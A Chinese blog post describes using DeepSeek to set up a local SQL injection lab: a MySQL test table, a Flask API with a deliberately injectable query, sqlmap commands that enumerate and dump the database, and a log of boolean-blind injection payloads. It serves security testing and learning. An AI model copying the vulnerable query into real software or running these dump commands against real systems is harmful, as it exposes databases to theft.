网络安全-使用DeepSeek来获取sqlmap的攻击payload

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概述

今天来使用DeepSeek做安全测试，看看在有思路的情况下实现的快不快。

DeepSeek使用

我有一个思路，想要测试sqlmap工具如何dump数据库的：
连接mysql数据库，创建测试库、表，表至少包含整型、字符型列，插入示例数据
使用Python Flask编写一个API查询数据库并返回内容
使用sqlmap攻击该API
查看API日志
请优化我的思路，并给出相关的代码

创建示例数据库

-- 创建测试数据库
CREATE DATABASE sqlmap_test;-- 创建包含多种数据类型的表
USE sqlmap_test;
CREATE TABLE users (id INT PRIMARY KEY AUTO_INCREMENT,username VARCHAR(50),email VARCHAR(100),age INT,created_at DATETIME DEFAULT CURRENT_TIMESTAMP,profile TEXT,is_admin BOOLEAN DEFAULT FALSE
);-- 插入测试数据
INSERT INTO users (username, email, age, profile, is_admin) VALUES
('admin', '[e-mail]', 30, 'System Administrator', TRUE),
('user1', '[e-mail]', 25, 'Regular user profile', FALSE),
('test_user', '[e-mail]', 28, 'Another test user', FALSE);

创建API

# app.py
import json
from flask import Flask, request, jsonify
import pymysql
from datetime import datetime
import logging
from logging.handlers import RotatingFileHandler
from setting import *app = Flask(__name__)# 配置数据库连接
db_config = {"host": DB_HOST,"user": DB_USER,"password": DB_PASSWORD,"db": DB_NAME,"port": DB_PORT,"charset": "utf8mb4","cursorclass": pymysql.cursors.DictCursor
}# 配置日志系统
def setup_logger():# 清除默认处理程序app.logger.handlers.clear()# 统一日志格式formatter = logging.Formatter('[%(asctime)s] %(levelname)s in %(module)s: %(message)s')# 访问日志配置access_handler = RotatingFileHandler('access.log',maxBytes=1024 * 1024,backupCount=5,delay=True  # 延迟文件打开直到实际写入)access_handler.setFormatter(formatter)access_handler.setLevel(logging.INFO)app.logger.addHandler(access_handler)app.logger.setLevel(logging.INFO)# SQL日志配置（独立logger）sql_handler = RotatingFileHandler('sql.log',maxBytes=1024 * 1024,backupCount=5,delay=True)sql_handler.setFormatter(formatter)sql_handler.setLevel(logging.INFO)sql_logger = logging.getLogger('sql')sql_logger.propagate = False  # 禁止传播到根loggersql_logger.setLevel(logging.INFO)sql_logger.addHandler(sql_handler)# 确保在应用初始化后配置日志
setup_logger()def get_db_connection():return pymysql.connect(**db_config)@app.route('/users', methods=['GET'])
def get_users():search = request.args.get('search', '')# 强制立即刷新访问日志app.logger.info(f"Access: {request.method} {request.path} - Params: {dict(request.args)}")app.logger.handlers[0].flush()conn = get_db_connection()try:with conn.cursor() as cursor:# 存在漏洞的查询query = f"SELECT * FROM users WHERE username = '{search}'"# 记录SQL并强制刷新sql_logger = logging.getLogger('sql')sql_logger.info(f"EXECUTE SQL: {query}")sql_logger.handlers[0].flush()cursor.execute(query)results = cursor.fetchall()# 转换datetime为字符串for row in results:if 'created_at' in row and isinstance(row['created_at'], datetime):row['created_at'] = row['created_at'].isoformat()app.logger.info(json.dumps(results), exc_info=True)return jsonify(results)except pymysql.Error as e:# 记录完整错误信息error_msg = f"Database error ({e.args[0]}): {e.args[1]}"app.logger.error(error_msg, exc_info=True)app.logger.handlers[0].flush()return jsonify({"error": "Database error"})except Exception as e:app.logger.error(f"Unexpected error: {str(e)}", exc_info=True)app.logger.handlers[0].flush()return jsonify({"error": "Server error"})finally:if 'conn' in locals():conn.close()if __name__ == '__main__':# 禁用重载器以避免重复日志app.run(host='0.0.0.0', port=5000, debug=False, use_reloader=False)

运行后访问

http://127.0.0.1:5000/users?search=test_user

结果如下：

测试sqlmap

python sqlmap.py -u "http://localhost:5000/users?search=test_user" --technique=B --threads 8 -dbs --batch
python sqlmap.py -u "http://localhost:5000/users?search=test_user" --technique=B --threads 8 -D sqlmap_test --tables --batch
python sqlmap.py -u "http://localhost:5000/users?search=test_user" --technique=B --threads 8 -D sqlmap_test -T users --columns --batch
python sqlmap.py -u "http://localhost:5000/users?search=test_user" --technique=B --threads 8 -D sqlmap_test -T users -C id,username,is_admin -dump --dump-format csv --batch

整体来说，实现的还挺快的，只有API实现时微调了一下日志和响应码。
ps：话说我只是测试下DeepSeek，sqlmap咋还出错了，两个test_user是什么鬼…

部分日志

[2025-03-01 21:55:51,918] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(username) AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>51 AND 'FFDM'='FFDM'
[2025-03-01 21:55:54,058] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(username) AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>54 AND 'FFDM'='FFDM'
[2025-03-01 21:55:54,139] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(username) AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>52 AND 'FFDM'='FFDM'
[2025-03-01 21:55:56,258] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(username) AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>53 AND 'FFDM'='FFDM'
[2025-03-01 21:55:56,343] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(username) AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>51 AND 'FFDM'='FFDM'
[2025-03-01 21:55:59,600] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(username) AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>48 AND 'FFDM'='FFDM'
[2025-03-01 21:55:59,682] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(username) AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>9 AND 'FFDM'='FFDM'
[2025-03-01 21:56:01,814] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>64 AND 'FFDM'='FFDM'
[2025-03-01 21:56:01,819] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),3,1))>64 AND 'FFDM'='FFDM'
[2025-03-01 21:56:01,828] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>64 AND 'FFDM'='FFDM'
[2025-03-01 21:56:01,828] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),4,1))>64 AND 'FFDM'='FFDM'
[2025-03-01 21:56:01,829] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),5,1))>64 AND 'FFDM'='FFDM'
[2025-03-01 21:56:01,898] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>96 AND 'FFDM'='FFDM'
[2025-03-01 21:56:04,070] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),3,1))>96 AND 'FFDM'='FFDM'
[2025-03-01 21:56:04,070] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>96 AND 'FFDM'='FFDM'
[2025-03-01 21:56:04,074] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>112 AND 'FFDM'='FFDM'
[2025-03-01 21:56:04,074] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),5,1))>96 AND 'FFDM'='FFDM'
[2025-03-01 21:56:04,074] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),4,1))>96 AND 'FFDM'='FFDM'
[2025-03-01 21:56:04,167] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>112 AND 'FFDM'='FFDM'
[2025-03-01 21:56:06,190] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),5,1))>112 AND 'FFDM'='FFDM'
[2025-03-01 21:56:06,190] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>104 AND 'FFDM'='FFDM'
[2025-03-01 21:56:06,190] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),4,1))>112 AND 'FFDM'='FFDM'
[2025-03-01 21:56:06,197] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),3,1))>112 AND 'FFDM'='FFDM'
[2025-03-01 21:56:06,266] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>104 AND 'FFDM'='FFDM'
[2025-03-01 21:56:06,284] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),5,1))>104 AND 'FFDM'='FFDM'
[2025-03-01 21:56:08,317] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),4,1))>104 AND 'FFDM'='FFDM'
[2025-03-01 21:56:08,317] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),3,1))>104 AND 'FFDM'='FFDM'
[2025-03-01 21:56:08,318] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>100 AND 'FFDM'='FFDM'
[2025-03-01 21:56:08,372] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>100 AND 'FFDM'='FFDM'
[2025-03-01 21:56:08,406] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),5,1))>108 AND 'FFDM'='FFDM'
[2025-03-01 21:56:08,408] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),4,1))>108 AND 'FFDM'='FFDM'
[2025-03-01 21:56:10,575] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>98 AND 'FFDM'='FFDM'
[2025-03-01 21:56:10,575] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),4,1))>106 AND 'FFDM'='FFDM'
[2025-03-01 21:56:10,575] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>98 AND 'FFDM'='FFDM'
[2025-03-01 21:56:10,575] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),5,1))>110 AND 'FFDM'='FFDM'
[2025-03-01 21:56:10,576] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),3,1))>108 AND 'FFDM'='FFDM'
[2025-03-01 21:56:10,670] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),1,1))>97 AND 'FFDM'='FFDM'
[2025-03-01 21:56:12,724] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),5,1))>109 AND 'FFDM'='FFDM'
[2025-03-01 21:56:12,738] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),2,1))>99 AND 'FFDM'='FFDM'
[2025-03-01 21:56:12,739] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),3,1))>110 AND 'FFDM'='FFDM'
[2025-03-01 21:56:12,740] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),4,1))>105 AND 'FFDM'='FFDM'
[2025-03-01 21:56:12,838] INFO in main: EXECUTE SQL: SELECT * FROM users WHERE username = 'test_user' AND ORD(MID((SELECT IFNULL(CAST(username AS NCHAR),0x20) FROM sqlmap_test.users ORDER BY is_admin LIMIT 2,1),3,1))>109 AND 'FFDM'='FFDM'

参考

腾讯元宝
sqlmap